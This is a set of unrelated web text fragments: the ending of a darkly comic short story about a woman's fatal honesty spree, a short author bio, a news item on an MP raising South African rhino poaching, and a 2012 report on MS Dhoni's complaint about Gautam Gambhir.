The most eminent doctors were called in. Unfortunately, no authoritative medical guide had enlightened them on the interplay of secrets and the skeletal system, and so they did not know what to say. They chalked it up to spontaneous implosion, and several would go on to write academically rigorous, if wholly fallacious, articles on the topic for the country's top medical journals.
The funeral was an awkward affair, with the guests searching for properly dignified, consoling words when they all knew much more than they would have liked about Helen and, from Helen, about one another. Jeremy grieved guiltily, unable to fully suppress a sense of vindication. The break-up now appeared to fit into the trajectory of Helen's self-destruction and so did not hint at any insufficiency on his part. The casket, child-sized, was lowered in silence, as Helen had managed to offend beyond redemption every priest in the county during her glorious but brief honesty spree. After an interlude of quiet contemplation, the mourners went their separate ways, each resolved to avoid Helen's unpleasant fate and each fighting a dirty, secret envy at what she had achieved.
Caitlin Campbell grew up in Minnesota, and received her B.A. from Columbia University.
Does not include service & handling fees, if applicable.


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DUP MP Gregory Campbell has urged William Hague to raise the slaughter of White Rhinoceros with his South African counterpart Maite Nkoana-Mashabane.
The East Londonderry representative asked the Secretary of State for Foreign and Commonwealth Affairs if he will hold discussions with his South African counterpart to ensure that the problem of an increase in the number of rhinoceros being killed in South Africa is addressed urgently.
Parliamentary Under-Secretary Mark Simmonds told Mr Campbell that the Government regularly engages its South African counterparts on the illegal wildlife trade at senior level.
He stated: "Both UK and South African Ministers reiterated their commitment to combating this harmful trade at the last UK-South Africa bilateral forum, held in Cape Town on 10 September 2013.
"The South African Government has pledged to address the issue of Rhino poaching as a matter of priority and we look forward to working with them at the London Conference on the Illegal Wildlife Trade on February 12-13, 2014."
A few weeks ago Mr Campbell raised the plight of another one of Africa's 'Big Five,' from an entirely different region of Sub-Saharan Africa.
He asked the Environment, Food and Rural Affairs Secretary Owen Paterson if he'd take steps to assist in the prevention of the continuation of the significant decline of the West African Lion.


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Dhoni complains against Gambhir, tells BCCI he's selfish
Captain MS Dhoni has complained against teammate Gautam Gambhir's "attitude" to the BCCI and accused the opener of being 'selfish', a cricket website reported today.cricket Updated: Dec 12, 2012 14:47 IST
Captain MS Dhoni has complained against teammate Gautam Gambhir's "attitude" to the BCCI and accused the opener of being 'selfish', a cricket website reported on Wednesday.
Dhoni feels that Gambhir puts his interest above the team, CricketNext reported while quoting an unnamed member of the Indian team.
"Of late Gambhir has gone into a shell and focusing on just to save his place in the team. His prolonged poor form has resulted in low self-esteem and he's cut off from other issues pertaining to the team," the player is quoted as saying.
"But what irked Dhoni was Gambhir playing for himself and not for the team. It was evident in the way Gambhir batted in the second innings of the Mumbai Test that he was more interested in carrying his bat by remaining not out, rather than shielding the tailenders and scoring quick runs," says the CricketNext report.
India face England in Nagpur on Thursday for the fourth match of a Test series, which they are trailing 2-1. The Indian team has lost 10 of its last 16 Test matches.
Under-performing senior players in the Indian line-up, including Dhoni and veteran batsman Sachin Tendulkar, are under severe pressure not only to lift the side with supreme personal efforts but also to save their careers after India's spineless displays at the Wankhede Stadium and the Eden Gardens.
Gambhir and Virender Sehwag have been pretty casual in their approach thus far, in stark contrast to the grinding efforts of England skipper Alastair Cook, England's top batsman in the series, and rookie Nick Compton, who has slowly and steadily found his feet after a nervous debut in Ahmedabad's opening Test.